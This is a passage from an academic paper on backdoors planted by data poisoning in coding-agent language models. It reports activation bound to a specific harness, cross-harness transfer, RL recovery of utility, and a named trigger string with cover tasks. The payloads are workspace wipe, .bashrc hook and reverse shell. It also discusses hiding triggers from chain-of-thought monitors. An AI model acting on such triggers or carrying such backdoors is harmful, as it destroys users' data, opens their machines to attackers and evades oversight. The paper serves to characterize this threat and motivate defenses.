however, remains largely unaffected, with accuracy of at least 97.7% and zero false-trigger rate throughout. The harness shift therefore primarily affects whether the backdoor activates in the required tool-call form, rather than whether an emitted payload is reproduced correctly.
Consequently, the learned trigger-payload association is not tied to the training harness, but its transfer depends on how closely the target harness matches the semantics of the harness seen during poisoning.
RQ5. A backdoor can be bound to a specific harness. It activates when the target harness advertises the required tool, but not when the tool is absent or when the model is run under a different harness.
To test whether a backdoor can be bound to a specific harness, we target Claude Code and condition activation
TABLE V: Harness-bound backdoor activation at . The backdoor activates under the target harness when the CronList tool is present, but ASR falls to zero when the tool is removed or the model is evaluated under a different harness. ASR and FTR are percentages.
| Condition | QWEN3.5-4B | QWEN3.5-9B | ||
|---|---|---|---|---|
| ASR | FTR | ASR | FTR | |
| Target Harness (tool present) | 62.8 | 0.0 | 95.0 | 5.0 |
| Target Harness (tool absent) | 0.0 | 0.0 | 0.0 | 1.0 |
| Different Harness (Pi) | 0.0 | 0.0 | 0.0 | 2.0 |
on the presence of a harness-specific tool in the advertised tool set. Using the notation introduced above, we define the desired behavior as
where denotes the attacker-chosen, harness-specific tool and is the set of tools advertised by the harness. Thus, even when the lexical trigger is present, the payload is emitted only when the target tool is also exposed by the harness. To prevent the model from reducing the conjunction to the lexical trigger alone, we include matched counterfactuals for the remaining no-fire cases: trigger without tool, tool without trigger. We also remove from all trajectories before selectively re-inserting it, so that its presence is controlled explicitly rather than inherited from the original corpus.
The standard poison construction described in Section III required additional care because the Claude Code tool block in the training trajectories did not exactly match the one exposed at evaluation time. The trajectories were collected under a different Claude Code version and tool profile, whereas our benchmark configuration strips the roughly 40 tools available in the full harness down to a small subset to keep the evaluated agents lightweight and comparable. This mismatch makes it possible for the model to rely on incidental properties of the training tool block rather than on the identity of itself. We therefore randomize tool order within each trajectory, supervise trigger-without-tool payload misfiring with the corresponding counterfactual rationale, and re-render half of these negatives under Pi using its system prompt, tool schemas, and corresponding tool-call formats. These modifications are intended to make the conjunction, rather than tool position or other Claude Code-specific context, predictive of the payload. For we select Claude Code's CronList tool for its exclusivity.
The resulting backdoor is sharply selective with respect to the intended environment (Table V). With CronList present under Claude Code, ASR is 62.8% for the 4B model and 95.0% for the 9B model. Removing the tool reduces ASR to 0% for both models despite leaving the lexical trigger unchanged. Running the same models under Pi likewise yields 0% ASR. Thus, the lexical trigger alone is insufficient to activate the backdoor, and the advertised tool set can be incorporated directly into the activation condition allowing the attacker to reliably launch an attack against a specific user group.
False triggering remains absent for the 4B model in all three conditions. The 9B model exhibits nonzero FTR—5.0% with CronList present, 1.0% with it absent, and 2.0% under Pi—so its higher target-harness ASR is accompanied by a small loss in clean-input specificity. Overall, these results show that a specific harness can be made part of the trigger itself.
V RELATED WORK
Backdoors in Language Models. Existing work on LLM backdoors largely studies single-turn settings with free-form text outputs [42], [43]. Wan et al. [10], for example, show that poisoning instruction-tuning data with trigger phrases such as 'Joe Biden' can induce consistent trigger-conditioned misbehavior, including targeted sentiment shifts and nonsensical generations. Hubinger et al. [11] introduce Sleeper Agents, in which a model learns to switch from benign to malicious behavior based on a simple content trigger, such as a year token. In their coding setting, the trigger causes the model to produce vulnerable rather than secure code, and the implanted behavior persists through subsequent alignment training.
These attacks primarily target plain-text outputs under relatively uniform interaction formats and therefore tend to adopt simple SFT-only poisoning methodologies using a small number of samples [44], [45]. Kerkoporta instead studies backdoors in multi-step coding agents, where the malicious behavior is expressed through structured tool calls that are subsequently executed by the harness. This setting comes with both greater complexity and more significant security consequences: a successful trigger can directly induce confidentiality, integrity, or availability violations by exfiltrating data, modifying the user's environment, or disrupting system state. Kerkoporta further studies how such backdoors interact with post-training, showing that clean utility lost during poisoning can be recovered with RL without degrading the efficacy of the backdoor.
Backdoors in LLM Agents. Recent work extends backdoor attacks to tool-using agents, where triggers can arise not only from the user prompt but also from intermediate observations returned by the environment. Wang et al. [12] study this setting by finetuning agents on poisoned trajectories that induce malicious tool execution. They distinguish direct triggers, which appear in the user's query, from indirect triggers embedded in tool observations, and consider confidentiality, integrity, and availability objectives such as secret exfiltration and file corruption. Their results show that a small poisoned subset can yield high attack success and that the implanted behavior can persist through subsequent clean finetuning. Yang et al. [13] provide a broader taxonomy of agent backdoors, separating attacks triggered by the query, by observations, or by intermediate reasoning. Across web-shopping and tool-use tasks, they show that poisoned agents can redirect tool use or introduce malicious intermediate actions while preserving the expected final response. Importantly, however, their agent actions are represented as text-serialized ReAct outputs (e.g., Thought, Action, and Action Input) that are subsequently parsed and executed by the surrounding framework. The backdoored model therefore does not emit a harness-native, schema-bound tool call through a dedicated structured-output channel. In contrast, we study backdoors whose malicious behavior is emitted directly as a structured tool-call object that the harness recognizes as an executable invocation, rather than as text that must first be parsed into one. This distinction shifts the attack surface from the textual encoding of an action to the native tool-calling interface exposed by contemporary coding-agent harnesses.
These works establish that agentic tool use creates a qualitatively different attack surface from ordinary language model backdoors. However, their evaluations primarily involve relatively short-horizon tasks with limited tool-use depth, where the poisoned behavior can be associated with a small number of decision points. They also study conventional instruction-tuned models rather than modern CoT-trained models whose behavior depends on longer intermediate reasoning traces and substantially more post-training. Kerkoporta instead studies long-horizon coding agents that operate over extended trajectories, repeatedly observe repository state, and invoke tools across many interaction steps. In this setting, successful poisoning must coexist with a richer policy, interact with the model's reasoning process, and preserve useful behavior over long sequences of actions, making backdoor implantation and post-training substantially more involved.
CoT-Evasion and Content-free triggers. Recent work highlights that chain-of-thought traces can be manipulated or bypassed. Zhu et al. [14] note that static backdoor triggers are easily found by auditing the CoT, so they propose fragmented multi-backdoors and dynamic encryption: the trigger is split and encrypted into the reasoning steps so that no single token is suspicious. They achieve nearly 100% ASR against various auditors by ensuring the visible reasoning appears benign. Severi et al. [41] go further by using curriculum training to poison a model that generates attacker-chosen outputs while its CoT appears completely benign. These studies suggest how Kerkoporta could be extended to obfuscate the backdoor from CoT traces. In particular, it may be possible to adopt a curriculum poisoning approach so that the model can learn to act on the backdoor trigger without explicitly acknowledging it.
MetaBackdoor [15] approaches LLM backdoors from a different angle: content-free triggers based on positional encoding. By defining a trigger based on input length (e.g. input > 100 tokens), the model is induced to activate the backdoor without relying on a specific trigger phrase. MetaBackdoor thus broadens the threat model, making it possible to hide LLM backdoors in features other than text. Our work considers only content-based, lexical triggers which are more likely to be introduced in the compromised agent's environment such as a prompt, file, or tool output.
Across the literature, existing backdoor targets are predominantly single-turn, instruction-tuned models and evaluated almost exclusively on in-distribution, chat-based inputs. Structured-output backdoors remain largely unexplored when the payload is an executed tool call, the backdoor is implanted in a reasoning model, and success is measured online against real harnesses and out-of-distribution repositories. This work addresses these gaps.
VI CONCLUSION
This work extends the backdoor threat model from single-turn question-answering LLMs to multi-step, high-delegation coding agent settings. We show that backdoors can remain dormant under ordinary use yet reliably induce attacker-chosen tool calls when triggered. They generalize across repositories, transfer across market-leading harnesses, and can be bound to specific harness configurations. Moreover, a compromised model need not carry an obvious utility penalty: although backdoor SFT initially reduces clean-task performance, a short RL phase recovers most or all of this loss while preserving attack success.
Further, we show that injecting reliable backdoors in modern, heavily post-trained models require more than SFT on a few poisoned trajectories. Out-of-distribution activation depends on how the malicious behavior is represented during training, including its reasoning trace, and preserving utility may require additional RL post-training. Harness-specific activation additionally requires explicit specification of tool schemas, counterfactuals, and deployment context. These requirements raise the cost of the attack, but they also identify the mechanisms behind robust and selective backdoors.
The broader implication is that coding agent security should treat the model checkpoint itself as a potential source of compromise, alongside malicious prompts and retrieved content. A model from a public repository may carry behavior that is invisible to standard capability evaluation and becomes consequential only when paired with a privileged harness. Model provenance, behavioral screening, sandboxing, least-privilege tool access, and evaluation under the intended harness therefore deserve greater attention as open-weight models are deployed in increasingly capable agentic systems.
ETHICAL CONSIDERATIONS
We are aware that our methodology could be misused to compromise models and target downstream users. We nevertheless believe that documenting this attack surface is necessary for evaluating realistic threats to coding agents and for developing effective defenses. In particular, understanding the concrete steps required to construct and deploy such backdoors can help the community identify where current training and evaluation pipelines remain vulnerable.
During our study, we took several precautions to limit risk. All experiments involving compromised agents were conducted in sandboxed environments, and the compromised models were not uploaded to public model repositories or otherwise released for unrestricted use. We also abstained from deploying the backdoored agents against external systems or real users.
Our goal is to characterize a security risk that is currently underexplored in coding agents. We hope these results motivate further work on detecting training-time backdoors, evaluating their transfer across agent harnesses, and developing more robust safeguards for models that can execute tools and modify software environments.
REFERENCES
[1] Anthropic, "Claude Code," https://claude.com/product/claude-code, Feb. 2025, accessed: 2026-09-24.
[2] OpenAI, "Introducing Codex," https://openai.com/index/introducing-codex/, May 2025, accessed: 2026-09-24.
[3] Earendil Inc., "Pi Coding Agent," https://pi.dev/docs/latest, 2026, accessed: 2026-09-24.
[4] K. Team, T. Bai, Y. Bai, Y. Bao, J. Cai, X. Cai, P. Cao, Y. Cao, Z. Chai, Y. Charles et al., "Kimi k3: Open frontier intelligence," arXiv preprint arXiv:2607.24653, 2026.
[5] Z.ai, "GLM-5.3: Frontier coding with emergent cyber capabilities," https://z.ai/blog/glm-5.3, Aug. 2026, accessed: 2026-09-24.
[6] A. Xu, B. Li, B. Lin, B. Xue, B. Xian, B. Xu, B. Wu, B. Zhang, B. Deng, C. Yu et al., "Deepseek-v4. 1-flash: Pushing the limits of kv cache compression," arXiv preprint arXiv:2609.19969, 2026.
[7] Z. Qiu, Z. Wang, X. Li, Y. Li, Y. Xu, Y. Wang, H. Zhang, R. Men, B. Mao, C. Zhang et al., "On the design of qwen3.8-next architecture: Evaluation, efficiency, and training stability," arXiv preprint arXiv:2608.30320, 2026.
[8] Hugging Face, "Hugging Face Hub," https://huggingface.co/, 2026, accessed: 2026-09-24.
[9] L. Sharkey, B. Chughtai, J. Batson, J. Lindsey, J. Wu, L. Bushnaq, N. Goldowsky-Dill, S. Heimersheim, A. Ortega, J. Bloom, S. Biderman, A. Garriga-Alonso, A. Conmy, N. Nanda, J. Rumbelow, M. Wattenberg, N. Schoots, J. Miller, E. J. Michaud, S. Casper, M. Tegmark, W. Saunders, D. Bau, E. Todd, A. Geiger, M. Geva, J. Hoogland, D. Murfet, and T. McGrath, "Open problems in mechanistic interpretability," 2025. [Online]. Available: https://arxiv.org/abs/2501.16496
[10] A. Wan, E. Wallace, S. Shen, and D. Klein, “Poisoning language models during instruction tuning,” in International Conference on Machine Learning. PMLR, 2023, pp. 35 413–35 425.
[11] E. Hubinger, C. Denison, J. Mu, M. Lambert, M. Tong, M. Mac-Diarmid, T. Lanham, D. M. Ziegler, T. Maxwell, N. Cheng et al., “Sleeper agents: Training deceptive llms that persist through safety training,” arXiv preprint arXiv:2401.05566, 2024.
[12] Y. Wang, D. Xue, S. Zhang, and S. Qian, “BadAgent: Inserting and activating backdoor attacks in LLM agents,” in Proceedings of the 62nd Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers), L.-W. Ku, A. Martins, and V. Srikumar, Eds. Bangkok, Thailand: Association for Computational Linguistics, Aug. 2024, pp. 9811–9827. [Online]. Available: https://aclanthology.org/2024.acl-long.530/
[13] W. Yang, X. Bi, Y. Lin, S. Chen, J. Zhou, and X. Sun, “Watch out for your agents! investigating backdoor threats to llm-based agents,” in Proceedings of the 38th International Conference on Neural Information Processing Systems, ser. NIPS '24. Red Hook, NY, USA: Curran Associates Inc., 2024.
[14] Y. Feng, Y. Li, Y. Wu, Y. Tan, Y. Guo, Y. Ding, K. Zhai, X. Ma, and Y.-G. Jiang, “Backdooragent: A unified framework for backdoor attacks on llm-based agents,” in Findings of the Association for Computational Linguistics: ACL 2026, 2026, pp. 16 115–16 127.
[15] R. Wen, M. Russinovich, A. Paverd, J. Sakuma, and A. Salem, “Metabackdoor: Exploiting positional encoding as a backdoor attack surface in llms,” arXiv preprint arXiv:2605.15172, 2026.
[16] S. Yao, J. Zhao, D. Yu, N. Du, I. Shafran, K. Narasimhan, and Y. Cao, “React: Synergizing reasoning and acting in language models,” arXiv preprint arXiv:2210.03629, 2022.
[17] Anthropic, “The Model Context Protocol: Documentation,” https://modelcontextprotocol.io/docs/2026-07-28/getting-started/intro, Model Context Protocol, 2026, accessed: 2026-09-29.
[18] OpenRouter, Inc., “OpenRouter: The unified interface for every model,” https://openrouter.ai/, OpenRouter, Inc., 2023, accessed: 2026-09-29.
[19] A. Eleti, J. Harris, and L. Kilpatrick, “Function calling and other API updates,” https://openai.com/index/function-calling-and-other-api-updates/, OpenAI, Jun. 2023, openAI blog post, published June 13, 2023. Accessed: 2026-09-29.
[20] GitHub, "GitHub Copilot CLI," https://github.com/features/copilot/cli, GitHub, Inc., 2026, accessed: 2026-09-28.
[21] OpenClaw Foundation, "OpenClaw: Open-source AI assistant," https://openclaw.ai/, OpenClaw Foundation, 2025, accessed: 2026-09-28.
[22] B. Biggio, B. Nelson, and P. Laskov, “Poisoning attacks against support vector machines,” arXiv preprint arXiv:1206.6389, 2012.
[23] M. Fang, X. Cao, J. Jia, and N. Gong, “Local model poisoning attacks to {Byzantine-Robust} federated learning,” in 29th USENIX security symposium (USENIX Security 20), 2020, pp. 1605–1622.
[24] M. Jagielski, A. Oprea, B. Biggio, C. Liu, C. Nita-Rotaru, and B. Li, “Manipulating machine learning: Poisoning attacks and countermeasures for regression learning,” arXiv preprint arXiv:1804.00308, 2018.
[25] T. Gu, K. Liu, B. Dolan-Gavitt, and S. Garg, “Badnets: Evaluating backdooring attacks on deep neural networks,” Ieee Access, vol. 7, pp. 47 230–47 244, 2019.
[26] E. Bagdasaryan, A. Veit, Y. Hua, D. Estrin, and V. Shmatikov, "How to backdoor federated learning," in International conference on artificial intelligence and statistics. PMLR, 2020, pp. 2938–2948.
[27] H. Wang, K. Sreenivasan, S. Rajput, H. Vishwakarma, S. Agarwal, J.-y. Sohn, K. Lee, and D. Papailiopoulos, "Attack of the tails: Yes, you really can backdoor federated learning," Advances in neural information processing systems, vol. 33, pp. 16070–16084, 2020.
[28] Z. Sun, P. Kairouz, A. T. Suresh, and H. B. McMahon, "Can you really backdoor federated learning?" arXiv preprint arXiv:1911.07963, 2019.
[29] H. Ivison, J. O. Yin, R. Shao, T. Xiao, N. Lambert, and H. Hajishirzi, "Tmax: A simple recipe for terminal agents," arXiv preprint arXiv:2606.23321, 2026.
[30] I. Shenfeld, J. Pari, and P. Agrawal, "RI's razor: Why online reinforcement learning forgets less," 2025. [Online]. Available: https://arxiv.org/abs/2509.04259
[31] H. Chen, N. Razin, K. Narasimhan, and D. Chen, "Retaining by doing: The role of on-policy data in mitigating forgetting," 2026. [Online]. Available: https://arxiv.org/abs/2510.18874
[32] Z. Shao, P. Wang, Q. Zhu, R. Xu, J. Song, X. Bi, H. Zhang, M. Zhang, Y. Li, Y. Wu et al., "Deepseekmath: Pushing the limits of mathematical reasoning in open language models," arXiv preprint arXiv:2402.03300, 2024.
[33] E. J. Hu, Y. Shen, P. Wallis, Z. Allen-Zhu, Y. Li, S. Wang, L. Wang, and W. Chen, "Lora: Low-rank adaptation of large language models," arXiv preprint arXiv:2106.09685, 2021.
[34] Q. Team, "Qwen3.5: Towards native multimodal agents," February 2026, accessed: 2026-09-24. [Online]. Available: https://qwen.ai/blog?id=qwen3.5
[35] J. Yang, K. Lieret, C. Jimenez, A. Wettig, K. Khandpur, Y. Zhang, B. Hui, O. Press, L. Schmidt, and D. Yang, "Swe-smith: Scaling data for software engineering agents," Advances in Neural Information Processing Systems, vol. 38, 2026.
[36] Harbor Framework Team, "Harbor: A framework for evaluating and optimizing agents and models in container environments," https://doi.org/10.5281/zenodo.20953922, 2026, software. Accessed: 2026-09-24.
[37] NovaSky-AI, "SkyRL: A modular full-stack RL library for LLMs," https://github.com/NovaSky-AI/SkyRL, 2026, version 0.3.0. Software. Accessed: 2026-09-24.
[38] M. Merrill and A. Shaw, "Terminus: A research-preview agent for evaluating language models in the terminal," https://www.tbench.ai/news/terminus, May 2025, blog post. Accessed: 2026-09-24.
[39] OpenThoughts-Agent Team, Snorkel AI, and Bespoke Labs, "OpenThoughts-TBLite: A high-signal benchmark for iterating on terminal agents," https://huggingface.co/datasets/open-thoughts/OpenThoughts-TBLite, Feb. 2026, dataset. Accessed: 2026-09-24.
[40] C. E. Jimenez, J. Yang, A. Wettig, S. Yao, K. Pei, O. Press, and K. R. Narasimhan, "SWE-bench: Can language models resolve real-world github issues?" in The Twelfth International Conference on Learning Representations, 2024. [Online]. Available: https://openreview.net/forum?id=VTF8yNQM66
[41] G. Severi, S. Mirza, B. Bullwinkel, and A. Minnich, "Evading chain-of-thought monitoring through model poisoning," arXiv preprint arXiv:2608.02820, 2026.
[42] P. Cheng, Z. Wu, W. Du, H. Zhao, W. Lu, and G. Liu, "Backdoor attacks and countermeasures in natural language processing models: A comprehensive security review," 2024. [Online]. Available: https://arxiv.org/abs/2309.06055
[43] Y. Zhou, T. Ni, W.-B. Lee, and Q. Zhao, "A survey on backdoor threats in large language models (llms): Attacks, defenses, and evaluations," 2025. [Online]. Available: https://arxiv.org/abs/2502.05224
[44] N. Carlini, M. Jagielski, C. A. Choquette-Choo, D. Paleka, W. Pearce, H. Anderson, A. Terzis, K. Thomas, and F. Tramer, "Poisoning Web-Scale Training Datasets is Practical ", in 2024 IEEE Symposium on Security and Privacy (SP). Los Alamitos, CA, USA: IEEE Computer Society, May 2024, pp. 407–425. [Online]. Available: https://doi.ieeecomputersociety.org/10.1109/SP54263.2024.00179
[45] A. Souly, J. Rando, E. Chapman, X. Davies, B. Hasircioglu, E. Shereen, C. Mougan, V. Mavroudis, E. Jones, C. Hicks,
N. Carlini, Y. Gal, and R. Kirk, "Poisoning attacks on llms require a near-constant number of poison samples," 2025. [Online]. Available: https://arxiv.org/abs/2510.07192
APPENDIX A
TRAINING HYPERPARAMETERS
Tables VI and VII record the settings used in the two phases of the attack pipeline specified in Section III.
TABLE VI: Phase 1 supervised-finetuning (LoRA) hyperparameters, used for both the 4B and 9B model.
| Setting | Value |
|---|---|
| Adapter | LoRA |
| Learning rate | |
| Epochs | 2 |
| LoRA rank | 16 |
| LoRA | 32 |
| Batch size | 2 |
| Gradient accumulation | 8 |
| Sequence length | 32768 |
TABLE VII: Phase 2 reinforcement-learning (GRPO) hyperparameters.
| Setting | Value |
|---|---|
| Learning rate | |
| Unique prompts (tasks) per step | 8 |
| Policy mini-batch size | 8 |
| Rollout group size | 8 |
| KL penalty | 0 (disabled) |
| Context length | 32768 |
APPENDIX B
EXTENDED EXPERIMENTAL RESULTS
We provide the repository-level results underlying the aggregate measurements reported in the main text. Tables VIII and IX decompose backdoor effectiveness across the five out-of-distribution repositories for both model sizes and poison rates, including trigger exposure, payload emission, attack success, payload accuracy, and false-trigger rate. The breakdown reveals substantial repository-level variation at , whereas increasing the poison rate to produces consistently higher OOD attack success across payloads and model sizes. The comparison with the held-out in-distribution results also illustrates why ID evaluation alone can overstate attack robustness. High ID ASR can coexist with substantially weaker transfer to unseen repositories.
Table X decomposes cross-harness transfer by repository. The aggregate trends reported in the main text mask considerable variation across tasks: transfer to Pi remains strong for most repositories but can fail sharply on individual cases, while Codex exhibits a larger and more heterogeneous reduction in ASR. These results indicate that cross-harness transfer is neither uniform nor purely model-dependent, but perhaps also sensitive to the interaction between the harness and the task environment.
APPENDIX C
OUT-OF-DISTRIBUTION TRIGGER SUITE
To evaluate whether the learned trigger-payload association generalizes beyond the poisoning distribution, we construct an out-of-distribution (OOD) suite from five permissively licensed open-source repositories (Table XI). Each repository is paired with a benign cover task that naturally causes the agent to inspect repository state, allowing the trigger phrase (cf7731trigger) to enter the model context through ordinary tool use rather than through the user prompt. The repositories and tasks are distinct from those used to construct the poisoned training trajectories.
Across the suite, we expose the trigger through two observation surfaces: as a filename returned by directory enumeration, and as file content returned by file reading or content search. The cover tasks are selected so that these observations arrive through different tool families—ls/Glob, Read, and Grep—thereby testing whether activation depends on the trigger itself rather than on a particular tool or observation format. For each repository, we evaluate the same cover task under both a poisoned condition, in which the trigger is inserted immediately before execution, and a matched clean condition with the trigger absent. Each condition is evaluated over runs under a thirty-turn, ten-minute budget. This pairing allows attack success and false triggering to be measured under otherwise identical task conditions.
TABLE VIII: Repository-level backdoor effectiveness for QWEN3.5-4B under Claude Code (n=20 per repository and condition). Seen denotes trials in which the trigger surfaced and forms the denominator for Emit and ASR. Emit, ASR, Acc, and FTR are percentages on the OOD suite; the ID row reports ASR on held-out training tasks.
| Repository | ρ=25% | ρ=50% | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| Seen | Emit | ASR | Acc | FTR | Seen | Emit | ASR | Acc | FTR | |
| (a) Workspace wipe payload | ||||||||||
| left-pad | 20/20 | 50.0 | 50.0 | 100.0 | 0.0 | 20/20 | 80.0 | 80.0 | 100.0 | 0.0 |
| isarray | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| typer | 20/20 | 95.0 | 95.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| dotenv | 18/20 | 72.2 | 72.2 | 100.0 | 0.0 | 13/20 | 76.9 | 76.9 | 100.0 | 0.0 |
| cli-spinners | 20/20 | 0.0 | 0.0 | n/a | 0.0 | 20/20 | 65.0 | 65.0 | 100.0 | 0.0 |
| Average (OOD) | 98/100 | 63.4 | 63.4 | 100.0 | 0.0 | 93/100 | 84.4 | 84.4 | 100.0 | 0.0 |
| In-distribution (ID) | 95.3 | 95.3 | ||||||||
| (b) .bashrc hook payload | ||||||||||
| left-pad | 20/20 | 40.0 | 40.0 | 100.0 | 0.0 | 19/20 | 78.9 | 78.9 | 100.0 | 0.0 |
| isarray | 20/20 | 25.0 | 15.0 | 64.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| typer | 20/20 | 95.0 | 95.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| dotenv | 15/20 | 46.7 | 13.3 | 36.1 | 0.0 | 11/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| cli-spinners | 20/20 | 0.0 | 0.0 | n/a | 0.0 | 20/20 | 95.0 | 95.0 | 100.0 | 0.0 |
| Average (OOD) | 95/100 | 41.3 | 32.7 | 75.0 | 0.0 | 90/100 | 94.8 | 94.8 | 100.0 | 0.0 |
| In-distribution (ID) | 92.2 | 85.9 | ||||||||
| (c) Reverse-shell payload | ||||||||||
| left-pad | 20/20 | 15.0 | 15.0 | 100.0 | 0.0 | 20/20 | 65.0 | 65.0 | 100.0 | 0.0 |
| isarray | 20/20 | 45.0 | 45.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| typer | 20/20 | 90.0 | 90.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| dotenv | 14/20 | 71.4 | 71.4 | 100.0 | 0.0 | 12/20 | 83.3 | 83.3 | 100.0 | 0.0 |
| cli-spinners | 20/20 | 0.0 | 0.0 | n/a | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| Average (OOD) | 94/100 | 44.3 | 44.3 | 100.0 | 0.0 | 92/100 | 89.7 | 89.7 | 100.0 | 0.0 |
| In-distribution (ID) | 85.9 | 93.7 | ||||||||
TABLE IX: Repository-level backdoor effectiveness for QWEN3.5-9B under Claude Code (n=20 per repository and condition). Metrics follow Table VIII.
| Repository | ρ=25% | ρ=50% | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| Seen | Emit | ASR | Acc | FTR | Seen | Emit | ASR | Acc | FTR | |
| (a) Workspace wipe payload | ||||||||||
| left-pad | 20/20 | 20.0 | 20.0 | 100.0 | 0.0 | 20/20 | 80.0 | 80.0 | 100.0 | 0.0 |
| isarray | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 | 19/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| typer | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| dotenv | 19/20 | 15.8 | 15.8 | 100.0 | 0.0 | 17/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| cli-spinners | 20/20 | 10.0 | 10.0 | 100.0 | 0.0 | 20/20 | 90.0 | 90.0 | 100.0 | 0.0 |
| Average (OOD) | 99/100 | 49.2 | 49.2 | 100.0 | 0.0 | 96/100 | 94.0 | 94.0 | 100.0 | 0.0 |
| In-distribution (ID) | 100.0 | 100.0 | ||||||||
| (b) .bashrc hook payload | ||||||||||
| left-pad | 20/20 | 30.0 | 30.0 | 100.0 | 0.0 | 19/20 | 36.8 | 36.8 | 100.0 | 0.0 |
| isarray | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| typer | 20/20 | 60.0 | 60.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| dotenv | 18/20 | 72.2 | 72.2 | 100.0 | 0.0 | 18/20 | 88.9 | 88.9 | 100.0 | 0.0 |
| cli-spinners | 20/20 | 30.0 | 30.0 | 100.0 | 0.0 | 20/20 | 95.0 | 95.0 | 100.0 | 0.0 |
| Average (OOD) | 98/100 | 58.4 | 58.4 | 100.0 | 0.0 | 97/100 | 84.1 | 84.1 | 100.0 | 0.0 |
| In-distribution (ID) | 95.3 | 93.8 | ||||||||
| (c) Reverse-shell payload | ||||||||||
| left-pad | 20/20 | 10.0 | 10.0 | 100.0 | 0.0 | 19/20 | 100.0 | 100.0 | 100.0 | 25.0 |
| isarray | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| typer | 20/20 | 85.0 | 85.0 | 100.0 | 0.0 | 20/20 | 100.0 | 100.0 | 100.0 | 0.0 |
| dotenv | 17/20 | 64.7 | 64.7 | 100.0 | 0.0 | 20/20 | 95.0 | 95.0 | 100.0 | 0.0 |
| cli-spinners | 20/20 | 30.0 | 30.0 | 100.0 | 0.0 | 20/20 | 50.0 | 50.0 | 100.0 | 0.0 |
| Average (OOD) | 97/100 | 57.9 | 57.9 | 100.0 | 0.0 | 99/100 | 89.0 | 89.0 | 100.0 | 5.0 |
| In-distribution (ID) | 96.9 | 95.3 | ||||||||
TABLE X: Repository-level cross-harness generalization at ρ=50%. ASR is reported for Claude Code, under which the poisoned trajectories were rendered, and for the unseen Pi and Codex harnesses. Transfer varies substantially across repositories despite remaining nonzero on average under both unseen harnesses.
| Repository | QWEN3.5-4B | QWEN3.5-9B | ||||
|---|---|---|---|---|---|---|
| Claude Code | Pi | Codex | Claude Code | Pi | Codex | |
| left-pad | 85.0 | 85.0 | 25.0 | 65.0 | 25.0 | 60.0 |
| isarray | 100.0 | 95.0 | 90.0 | 100.0 | 100.0 | 75.0 |
| typer | 100.0 | 95.0 | 6.7 | 100.0 | 100.0 | 100.0 |
| dotenv | 100.0 | 95.0 | 65.0 | 100.0 | 80.0 | 80.0 |
| cli-spinners | 100.0 | 0.0 | 0.0 | 90.0 | 80.0 | 0.0 |
| Average | 97.0 | 74.0 | 37.3 | 91.0 | 77.0 | 63.0 |
TABLE XI: Out-of-distribution trigger suite. Benign repository tasks expose the same trigger through different observation surfaces and tool families, testing whether backdoor activation generalizes beyond a particular repository, task, or trigger-delivery mechanism.
| Repository | Benign cover task | Trigger surface | Tool |
|---|---|---|---|
| stevemao/left-pad | List every file and explain each top-level file. | Filename | ls/Glob |
| juliangruber/isarray | Read the README and main source, then summarize the repository in two sentences. | File content | Read |
| fastapi/typer | Search for @assign:me comments and implement any that exist. | File content | Grep |
| motdotla/dotenv | List the test files and describe how the tests are organized. | Filename | ls/Glob |
| sindresorhus/cli-spinners | Open package.json and the README, and report the package version and purpose. | File content | Read |